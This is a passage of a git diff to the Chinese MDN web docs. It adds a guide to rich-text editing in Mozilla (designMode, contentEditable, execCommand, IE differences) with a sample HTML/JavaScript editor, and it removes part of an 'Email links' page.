Zm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg==">
+<img class="intLink" title="Bold" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" />
+<img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" />
+<img class="intLink" title="Underline" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" />
+<img class="intLink" title="Left align" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" />
+<img class="intLink" title="Center align" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" />
+<img class="intLink" title="Right align" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" />
+<img class="intLink" title="Numbered list" onclick="formatDoc('insertorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAADljwliE35GjuaezxtHa7P///////yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKSespwjoRFvggCBUBoTFBeq6QIAysQnRHaEOzyaZ07Lu9lUBnC0UGQU1K52s6n5oEADs=" />
+<img class="intLink" title="Dotted list" onclick="formatDoc('insertunorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAAB1ChF9vj1iE33mOrqezxv///////yH5BAEAAAcALAAAAAAWABYAAAMyeLrc/jDKSesppNhGRlBAKIZRERBbqm6YtnbfMY7lud64UwiuKnigGQliQuWOyKQykgAAOw==" />
+<img class="intLink" title="Quote" onclick="formatDoc('formatblock','blockquote');" src="data:image/gif;base64,R0lGODlhFgAWAIQXAC1NqjFRjkBgmT9nqUJnsk9xrFJ7u2R9qmKBt1iGzHmOrm6Sz4OXw3Odz4Cl2ZSnw6KxyqO306K63bG70bTB0rDI3bvI4P///////////////////////////////////yH5BAEKAB8ALAAAAAAWABYAAAVP4CeOZGmeaKqubEs2CekkErvEI1zZuOgYFlakECEZFi0GgTGKEBATFmJAVXweVOoKEQgABB9IQDCmrLpjETrQQlhHjINrTq/b7/i8fp8PAQA7" />
+<img class="intLink" title="Delete indentation" onclick="formatDoc('outdent');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAAAAADljwliE35GjuaezxtDV3NHa7P///yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKCQG9F2i7u8agQgyK1z2EIBil+TWqEMxhMczsYVJ3e4ahk+sFnAgtxSQDqWw6n5cEADs=" />
+<img class="intLink" title="Add indentation" onclick="formatDoc('indent');" src="data:image/gif;base64,R0lGODlhFgAWAOMIAAAAADljwl9vj1iE35GjuaezxtDV3NHa7P///////////////////////////////yH5BAEAAAgALAAAAAAWABYAAAQ7EMlJq704650B/x8gemMpgugwHJNZXodKsO5oqUOgo5KhBwWESyMQsCRDHu9VOyk5TM9zSpFSr9gsJwIAOw==" />
+<img class="intLink" title="Hyperlink" onclick="var sLnk=prompt('Write the URL here','http:\/\/');if(sLnk&&sLnk!=''&&sLnk!='http://'){formatDoc('createlink',sLnk)}" src="data:image/gif;base64,R0lGODlhFgAWAOMKAB1ChDRLY19vj3mOrpGjuaezxrCztb/I19Ha7Pv8/f///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARY8MlJq7046827/2BYIQVhHg9pEgVGIklyDEUBy/RlE4FQF4dCj2AQXAiJQDCWQCAEBwIioEMQBgSAFhDAGghGi9XgHAhMNoSZgJkJei33UESv2+/4vD4TAQA7" />
+<img class="intLink" title="Cut" onclick="formatDoc('cut');" src="data:image/gif;base64,R0lGODlhFgAWAIQSAB1ChBFNsRJTySJYwjljwkxwl19vj1dusYODhl6MnHmOrpqbmpGjuaezxrCztcDCxL/I18rL1P///////////////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAVu4CeOZGmeaKqubDs6TNnEbGNApNG0kbGMi5trwcA9GArXh+FAfBAw5UexUDAQESkRsfhJPwaH4YsEGAAJGisRGAQY7UCC9ZAXBB+74LGCRxIEHwAHdWooDgGJcwpxDisQBQRjIgkDCVlfmZqbmiEAOw==" />
+<img class="intLink" title="Copy" onclick="formatDoc('copy');" src="data:image/gif;base64,R0lGODlhFgAWAIQcAB1ChBFNsTRLYyJYwjljwl9vj1iE31iGzF6MnHWX9HOdz5GjuYCl2YKl8ZOt4qezxqK63aK/9KPD+7DI3b/I17LM/MrL1MLY9NHa7OPs++bx/Pv8/f///////////////yH5BAEAAB8ALAAAAAAWABYAAAWG4CeOZGmeaKqubOum1SQ/kPVOW749BeVSus2CgrCxHptLBbOQxCSNCCaF1GUqwQbBd0JGJAyGJJiobE+LnCaDcXAaEoxhQACgNw0FQx9kP+wmaRgYFBQNeAoGihCAJQsCkJAKOhgXEw8BLQYciooHf5o7EA+kC40qBKkAAAGrpy+wsbKzIiEAOw==" />
+<img class="intLink" title="Paste" onclick="formatDoc('paste');" src="data:image/gif;base64,R0lGODlhFgAWAIQUAD04KTRLY2tXQF9vj414WZWIbXmOrpqbmpGjudClFaezxsa0cb/I1+3YitHa7PrkIPHvbuPs+/fvrvv8/f///////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAWN4CeOZGmeaKqubGsusPvBSyFJjVDs6nJLB0khR4AkBCmfsCGBQAoCwjF5gwquVykSFbwZE+AwIBV0GhFog2EwIDchjwRiQo9E2Fx4XD5R+B0DDAEnBXBhBhN2DgwDAQFjJYVhCQYRfgoIDGiQJAWTCQMRiwwMfgicnVcAAAMOaK+bLAOrtLUyt7i5uiUhADs=" />
+</div>
+<div id="textBox" contenteditable="true"><p>Lorem ipsum</p></div>
+<p id="editMode"><input type="checkbox" name="switchMode" id="switchBox" onchange="setDocMode(this.checked);" /> <label for="switchBox">Show HTML</label></p>
+<p><input type="submit" value="Send" /></p>
+</form>
+</body>
+</html>
+
+
+ +
注意: 如果你想知道如何标准的在你的页面中创建和插入编辑器,请查阅 更多完整的富文本编辑器例子.
+ +

相关链接

+ +
    +
  • {{domxref("HTMLElement.contentEditable")}}
  • +
  • 全局属性 {{htmlattrxref("contenteditable")}} 
  • +
  • Midas (支持脚本的文本编辑器组件)
  • +
  • {{cssxref("caret-color")}}, 用来设置文本插入光标的颜色
  • +
diff --git a/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html b/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html new file mode 100644 index 0000000000..f237e94b61 --- /dev/null +++ b/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html @@ -0,0 +1,272 @@ +--- +title: Mozilla中的富文本编辑器 +slug: Web/Guide/HTML/Content_Editable/Rich-Text_Editing_in_Mozilla +tags: + - 富文本 + - 指南 +translation_of: Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla +--- +

Mozilla 1.3 实现了微软 IE 浏览器的 designMode 特性。Mozilla 1.3 的富文本编辑器支持的 designMode 特性能将 HTML 文档转换为富文本编辑器。从 Firefox 3 开始,Mozilla 也支持 IE 的 contentEditable 属性,该属性允许将任意元素设置为可编辑或不可编辑的(后者可阻止在可编辑环境中,对固定元素的改变)。

+ +

配置富文本编辑

+ +

富文本编辑通过设置文档的 "designMode" 属性为 "On" 来初始化。一旦 designMode 设置为 "On" ,该文档即成为用户能够按使用 textarea 方式操作的富文本编辑区域。复制和粘贴等最基础的键盘操作可用,而其它命令则需通过站点实现。

+ +

类似地,将 "contentEditable" 属性设置为 "true" 后,用户能够将文档中的独立元素设置为可编辑的。

+ +

执行命令

+ +

当 HTML 文档切换至 designMode 时,文档对象将暴露出 "document.execCommand" 方法,允许用户运行命令以操作可编辑区域的内容。多数命令影响文档的选中区域(加粗、斜体等),而其余命令则可插入新元素(添加新行)或影响整行(缩进)。当使用 contentEditable 时,调用 execCommand 将影响当前活跃的可编辑元素。

+ +

与 IE 区别

+ +

Mozilla 与 IE 在 designMode 下的一个显著区别在于可编辑区域中所生成的代码。在 IE 中使用 em 与 i 等 HTML 标签,而 Mozilla 则默认生成带有内联样式规则的 span 标签。可通过 styleWithCSS 命令以在 CSS 与 HTML 标记中切换。

+ +

Figure 1 : 生成 HTML 的区别

+ +

Mozilla:

+ +
<span style="font-weight: bold;">I love geckos.</span>
+<span style="font-weight: bold; font-style: italic;
+    text-decoration: underline;">Dinosaurs are big.</span>
+ +

Internet Explorer:

+ +
<STRONG>I love geckos.</STRONG>
+<STRONG><EM><U>Dinosaurs are big.</U></EM></STRONG>
+
+ +

Mozilla 与 IE 的另一个区别是在与 designMode 结合使用的场景中,其访问 iframe 中文档对象的方式。Mozilla 使用了 W3C 的标准方式,即 IFrameElement.contentDocument,而 IE 则使用了 IFrameElement.document.

+ +

DevEdge 提供了一个 JavaScript 辅助工具类,xbDesignMode它封装了 IE 与 Mozilla 之间的 designMode 差异特性。

+ +


+ 禁用事件处理

+ +

另一额外的区别在于,Mozilla 中一旦切换至 designMode,那么该文档上绑定的全部事件将被禁用。在 designMode 关闭后(如在 Mozilla 1.5 中可用),事件重新可用。

+ +

在 Migrate apps from Internet Explorer to Mozilla 中的 Rich text editing 章节可查看更多信息。

+ +

示例

+ +

示例 1

+ +

第一个示例中,将 HTML 文档中的 designMode 设置为 "On"。在 Mozilla 1.3 中这将使整篇文档均可编辑。但在 IE 中并不支持通过 JavaScript 改变文档的 designMode 特性。需要兼容 IE 时,body 标签中的 contentEditable 属性需要设置为 "true"。

+ +

Figure 2 : 第一个示例

+ +
HTML:
+<body contentEditable="true" onload="load()">
+
+JavaScript:
+function load(){
+  window.document.designMode = "On";
+}
+ +

示例 2

+ +

第二个示例是一个支持文本加粗、斜体、下划线,以及添加链接、改变文本颜色等特性的富文本编辑页面。示例页面带有一个作为富文本编辑区域的 iframe 区域,以及用于实现基础编辑命令的加粗、斜体、文本颜色等编辑元素。

+ +

Figure 3 : 配置富文本编辑

+ +
HTML:
+<body onload="load()">
+
+JavaScript:
+function load(){
+  getIFrameDocument("editorWindow").designMode = "On";
+}
+//获取对象
+function getIFrameDocument(aID){
+  // if contentDocument exists, W3C compliant (Mozilla)
+  if (document.getElementById(aID).contentDocument){
+    return document.getElementById(aID).contentDocument;
+  } else {
+    // IE
+    return document.frames[aID].document;
+  }
+}
+
+ +

该示例包含了 doRichEditCommand 函数以简化对 iframe 的命令操作,并保持 HTML 代码的整洁。执行所需命令的函数使用了 execCommand() 并将焦点设回可编辑文档,以避免点击按钮等操作时的焦点设置打断编辑流程。

+ +

Figure 4 : 执行富文本编辑命令

+ +
HTML:
+<button onclick="doRichEditCommand('bold')" style="font-weight:bold;">B</button>
+
+JavaScript:
+function doRichEditCommand(aName, aArg){
+  getIFrameDocument('editorWindow').execCommand(aName,false, aArg);
+  document.getElementById('editorWindow').contentWindow.focus()
+}
+ +

示例:一个简易但完整的富文本编辑器

+ +
<!doctype html>
+<html>
+<head>
+<title>Rich Text Editor</title>
+<script type="text/javascript">
+var oDoc, sDefTxt;
+
+function initDoc() {
+  oDoc = document.getElementById("textBox");
+  sDefTxt = oDoc.innerHTML;
+  if (document.compForm.switchMode.checked) { setDocMode(true); }
+}
+
+function formatDoc(sCmd, sValue) {
+  if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); }
+}
+
+function validateMode() {
+  if (!document.compForm.switchMode.checked) { return true ; }
+  alert("Uncheck \"Show HTML\".");
+  oDoc.focus();
+  return false;
+}
+
+function setDocMode(bToSource) {
+  var oContent;
+  if (bToSource) {
+    oContent = document.createTextNode(oDoc.innerHTML);
+    oDoc.innerHTML = "";
+    var oPre = document.createElement("pre");
+    oDoc.contentEditable = false;
+    oPre.id = "sourceText";
+    oPre.contentEditable = true;
+    oPre.appendChild(oContent);
+    oDoc.appendChild(oPre);
+  } else {
+    if (document.all) {
+      oDoc.innerHTML = oDoc.innerText;
+    } else {
+      oContent = document.createRange();
+      oContent.selectNodeContents(oDoc.firstChild);
+      oDoc.innerHTML = oContent.toString();
+    }
+    oDoc.contentEditable = true;
+  }
+  oDoc.focus();
+}
+
+function printDoc() {
+  if (!validateMode()) { return; }
+  var oPrntWin = window.open("","_blank","width=450,height=470,left=400,top=100,menubar=yes,toolbar=no,location=no,scrollbars=yes");
+  oPrntWin.document.open();
+  oPrntWin.document.write("<!doctype html><html><head><title>Print<\/title><\/head><body onload=\"print();\">" + oDoc.innerHTML + "<\/body><\/html>");
+  oPrntWin.document.close();
+}
+</script>
+<style type="text/css">
+.intLink { cursor: pointer; }
+img.intLink { border: 0; }
+#toolBar1 select { font-size:10px; }
+#textBox {
+  width: 540px;
+  height: 200px;
+  border: 1px #000000 solid;
+  padding: 12px;
+  overflow: scroll;
+}
+#textBox #sourceText {
+  padding: 0;
+  margin: 0;
+  min-width: 498px;
+  min-height: 200px;
+}
+#editMode label { cursor: pointer; }
+</style>
+</head>
+<body onload="initDoc();">
+<form name="compForm" method="post" action="sample.php" onsubmit="if(validateMode()){this.myDoc.value=oDoc.innerHTML;return true;}return false;">
+<input type="hidden" name="myDoc">
+<div id="toolBar1">
+<select onchange="formatDoc('formatblock',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option selected>- formatting -</option>
+<option value="h1">Title 1 &lt;h1&gt;</option>
+<option value="h2">Title 2 &lt;h2&gt;</option>
+<option value="h3">Title 3 &lt;h3&gt;</option>
+<option value="h4">Title 4 &lt;h4&gt;</option>
+<option value="h5">Title 5 &lt;h5&gt;</option>
+<option value="h6">Subtitle &lt;h6&gt;</option>
+<option value="p">Paragraph &lt;p&gt;</option>
+<option value="pre">Preformatted &lt;pre&gt;</option>
+</select>
+<select onchange="formatDoc('fontname',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- font -</option>
+<option>Arial</option>
+<option>Arial Black</option>
+<option>Courier New</option>
+<option>Times New Roman</option>
+</select>
+<select onchange="formatDoc('fontsize',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- size -</option>
+<option value="1">Very small</option>
+<option value="2">A bit small</option>
+<option value="3">Normal</option>
+<option value="4">Medium-large</option>
+<option value="5">Big</option>
+<option value="6">Very big</option>
+<option value="7">Maximum</option>
+</select>
+<select onchange="formatDoc('forecolor',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- color -</option>
+<option value="red">Red</option>
+<option value="blue">Blue</option>
+<option value="green">Green</option>
+<option value="black">Black</option>
+</select>
+<select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- background -</option>
+<option value="red">Red</option>
+<option value="green">Green</option>
+<option value="black">Black</option>
+</select>
+</div>
+<div id="toolBar2">
+<img class="intLink" title="Clean" onclick="if(validateMode()&&confirm('Are you sure?')){oDoc.innerHTML=sDefTxt};" src="data:image/gif;base64,R0lGODlhFgAWAIQbAD04KTRLYzFRjlldZl9vj1dusY14WYODhpWIbbSVFY6O7IOXw5qbms+wUbCztca0ccS4kdDQjdTLtMrL1O3YitHa7OPcsd/f4PfvrvDv8Pv5xv///////////////////yH5BAEKAB8ALAAAAAAWABYAAAV84CeOZGmeaKqubMteyzK547QoBcFWTm/jgsHq4rhMLoxFIehQQSAWR+Z4IAyaJ0kEgtFoLIzLwRE4oCQWrxoTOTAIhMCZ0tVgMBQKZHAYyFEWEV14eQ8IflhnEHmFDQkAiSkQCI2PDC4QBg+OAJc0ewadNCOgo6anqKkoIQA7" />
+<img class="intLink" title="Print" onclick="printDoc();" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oEBxcZFmGboiwAAAAIdEVYdENvbW1lbnQA9syWvwAAAuFJREFUOMvtlUtsjFEUx//n3nn0YdpBh1abRpt4LFqtqkc3jRKkNEIsiIRIBBEhJJpKlIVo4m1RRMKKjQiRMJRUqUdKPT71qpIpiRKPaqdF55tv5vvusZjQTjOlseUkd3Xu/3dPzusC/22wtu2wRn+jG5So/OCDh8ycMJDflehMlkJkVK7KUYN+ufzA/RttH76zaVocDptRxzQtNi3mRWuPc+6cKtlXZ/sddP2uu9uXlmYXZ6Qm8v4Tz8lhF1H+zDQXt7S8oLMXtbF4e8QaFHjj3kbP2MzkktHpiTjp9VH6iHiA+whtAsX5brpwueMGdONdf/2A4M7ukDs1JW662+XkqTkeUoqjKtOjm2h53YFL15pSJ04Zc94wdtibr26fXlC2mzRvBccEbz2kiRFD414tKMlEZbVGT33+qCoHgha81SWYsew0r1uzfNylmtpx80pngQQ91LwVk2JGvGnfvZG6YcYRAT16GFtW5kKKfo1EQLtfh5Q2etT0BIWF+aitq4fDbk+ImYo1OxvGF03waFJQvBCkvDffRyEtxQiFFYgAZTHS0zwAGD7fG5TNnYNTp8/FzvGwJOfmgG7GOx0SAKKgQgDMgKBI0NJGMEImpGDk5+WACEwEd0ywblhGUZ4Hw5OdUekRBLT7DTgdEgxACsIznx8zpmWh7k4rkpJcuHDxCul6MDsmmBXDlWCH2+XozSgBnzsNCEE4euYV4pwCpsWYPW0UHDYBKSWu1NYjENDReqtKjwn2+zvtTc1vMSTB/mvev/WEYSlASsLimcOhOBJxw+N3aP/SjefNL5GePZmpu4kG7OPr1+tOfPyUu3BecWYKcwQcDFmwFKAUo90fhKDInBCAmvqnyMgqUEagQwCoHBDc1rjv9pIlD8IbVkz6qYViIBQGTJPx4k0XpIgEZoRN1Da0cij4VfR0ta3WvBXH/rjdCufv6R2zPgPH/e4pxSBCpeatqPrjNiso203/5s/zA171Mv8+w1LOAAAAAElFTkSuQmCC">
+<img class="intLink" title="Undo" onclick="formatDoc('undo');" src="data:image/gif;base64,R0lGODlhFgAWAOMKADljwliE33mOrpGjuYKl8aezxqPD+7/I19DV3NHa7P///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARR8MlJq7046807TkaYeJJBnES4EeUJvIGapWYAC0CsocQ7SDlWJkAkCA6ToMYWIARGQF3mRQVIEjkkSVLIbSfEwhdRIH4fh/DZMICe3/C4nBQBADs=" />
+<img class="intLink" title="Redo" onclick="formatDoc('redo');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAB1ChDljwl9vj1iE34Kl8aPD+7/I1////yH5BAEKAAcALAAAAAAWABYAAANKeLrc/jDKSesyphi7SiEgsVXZEATDICqBVJjpqWZt9NaEDNbQK1wCQsxlYnxMAImhyDoFAElJasRRvAZVRqqQXUy7Cgx4TC6bswkAOw==" />
+<img class="intLink" title="Remove formatting" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg==">
+<img class="intLink" title="Bold" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" />
+<img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" />
+<img class="intLink" title="Underline" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" />
+<img class="intLink" title="Left align" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" />
+<img class="intLink" title="Center align" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" />
+<img class="intLink" title="Right align" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" />
+<img class="intLink" title="Numbered list" onclick="formatDoc('insertorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAADljwliE35GjuaezxtHa7P///////yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKSespwjoRFvggCBUBoTFBeq6QIAysQnRHaEOzyaZ07Lu9lUBnC0UGQU1K52s6n5oEADs=" />
+<img class="intLink" title="Dotted list" onclick="formatDoc('insertunorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAAB1ChF9vj1iE33mOrqezxv///////yH5BAEAAAcALAAAAAAWABYAAAMyeLrc/jDKSesppNhGRlBAKIZRERBbqm6YtnbfMY7lud64UwiuKnigGQliQuWOyKQykgAAOw==" />
+<img class="intLink" title="Quote" onclick="formatDoc('formatblock','blockquote');" src="data:image/gif;base64,R0lGODlhFgAWAIQXAC1NqjFRjkBgmT9nqUJnsk9xrFJ7u2R9qmKBt1iGzHmOrm6Sz4OXw3Odz4Cl2ZSnw6KxyqO306K63bG70bTB0rDI3bvI4P///////////////////////////////////yH5BAEKAB8ALAAAAAAWABYAAAVP4CeOZGmeaKqubEs2CekkErvEI1zZuOgYFlakECEZFi0GgTGKEBATFmJAVXweVOoKEQgABB9IQDCmrLpjETrQQlhHjINrTq/b7/i8fp8PAQA7" />
+<img class="intLink" title="Add indentation" onclick="formatDoc('outdent');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAAAAADljwliE35GjuaezxtDV3NHa7P///yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKCQG9F2i7u8agQgyK1z2EIBil+TWqEMxhMczsYVJ3e4ahk+sFnAgtxSQDqWw6n5cEADs=" />
+<img class="intLink" title="Delete indentation" onclick="formatDoc('indent');" src="data:image/gif;base64,R0lGODlhFgAWAOMIAAAAADljwl9vj1iE35GjuaezxtDV3NHa7P///////////////////////////////yH5BAEAAAgALAAAAAAWABYAAAQ7EMlJq704650B/x8gemMpgugwHJNZXodKsO5oqUOgo5KhBwWESyMQsCRDHu9VOyk5TM9zSpFSr9gsJwIAOw==" />
+<img class="intLink" title="Hyperlink" onclick="var sLnk=prompt('Write the URL here','http:\/\/');if(sLnk&&sLnk!=''&&sLnk!='http://'){formatDoc('createlink',sLnk)}" src="data:image/gif;base64,R0lGODlhFgAWAOMKAB1ChDRLY19vj3mOrpGjuaezxrCztb/I19Ha7Pv8/f///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARY8MlJq7046827/2BYIQVhHg9pEgVGIklyDEUBy/RlE4FQF4dCj2AQXAiJQDCWQCAEBwIioEMQBgSAFhDAGghGi9XgHAhMNoSZgJkJei33UESv2+/4vD4TAQA7" />
+<img class="intLink" title="Cut" onclick="formatDoc('cut');" src="data:image/gif;base64,R0lGODlhFgAWAIQSAB1ChBFNsRJTySJYwjljwkxwl19vj1dusYODhl6MnHmOrpqbmpGjuaezxrCztcDCxL/I18rL1P///////////////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAVu4CeOZGmeaKqubDs6TNnEbGNApNG0kbGMi5trwcA9GArXh+FAfBAw5UexUDAQESkRsfhJPwaH4YsEGAAJGisRGAQY7UCC9ZAXBB+74LGCRxIEHwAHdWooDgGJcwpxDisQBQRjIgkDCVlfmZqbmiEAOw==" />
+<img class="intLink" title="Copy" onclick="formatDoc('copy');" src="data:image/gif;base64,R0lGODlhFgAWAIQcAB1ChBFNsTRLYyJYwjljwl9vj1iE31iGzF6MnHWX9HOdz5GjuYCl2YKl8ZOt4qezxqK63aK/9KPD+7DI3b/I17LM/MrL1MLY9NHa7OPs++bx/Pv8/f///////////////yH5BAEAAB8ALAAAAAAWABYAAAWG4CeOZGmeaKqubOum1SQ/kPVOW749BeVSus2CgrCxHptLBbOQxCSNCCaF1GUqwQbBd0JGJAyGJJiobE+LnCaDcXAaEoxhQACgNw0FQx9kP+wmaRgYFBQNeAoGihCAJQsCkJAKOhgXEw8BLQYciooHf5o7EA+kC40qBKkAAAGrpy+wsbKzIiEAOw==" />
+<img class="intLink" title="Paste" onclick="formatDoc('paste');" src="data:image/gif;base64,R0lGODlhFgAWAIQUAD04KTRLY2tXQF9vj414WZWIbXmOrpqbmpGjudClFaezxsa0cb/I1+3YitHa7PrkIPHvbuPs+/fvrvv8/f///////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAWN4CeOZGmeaKqubGsusPvBSyFJjVDs6nJLB0khR4AkBCmfsCGBQAoCwjF5gwquVykSFbwZE+AwIBV0GhFog2EwIDchjwRiQo9E2Fx4XD5R+B0DDAEnBXBhBhN2DgwDAQFjJYVhCQYRfgoIDGiQJAWTCQMRiwwMfgicnVcAAAMOaK+bLAOrtLUyt7i5uiUhADs=" />
+</div>
+<div id="textBox" contenteditable="true"><p>Lorem ipsum</p></div>
+<p id="editMode"><input type="checkbox" name="switchMode" id="switchBox" onchange="setDocMode(this.checked);" /> <label for="switchBox">Show HTML</label></p>
+<p><input type="submit" value="Send" /></p>
+</form>
+</body>
+</html>
+ + + +

注意: 如果你想查看如何将创建与插入编辑器至页面的流程标准化的内容,请查看 more complete rich-text editor example.

+ +

相关资源

+ + diff --git a/files/zh-cn/web/guide/html/email_links/index.html b/files/zh-cn/web/guide/html/email_links/index.html deleted file mode 100644 index fd51ef502f..0000000000 --- a/files/zh-cn/web/guide/html/email_links/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Email links -slug: Web/Guide/HTML/Email_links -tags: - - HTML5 - - SEO - - a - - email link - - mailto -translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#E-mail_links -translation_of_original: Web/Guide/HTML/Email_links ---- -

这往往是有益的Web站点能够创建链接或按钮,点击后,打开一个新的出站电子邮件。例如,这可能会创造一个“联系我们”按钮时使用。这是使用完成{{HTMLElement("a")}} 元素和mailto URL方案。.

- -

Mailto 基础

- -

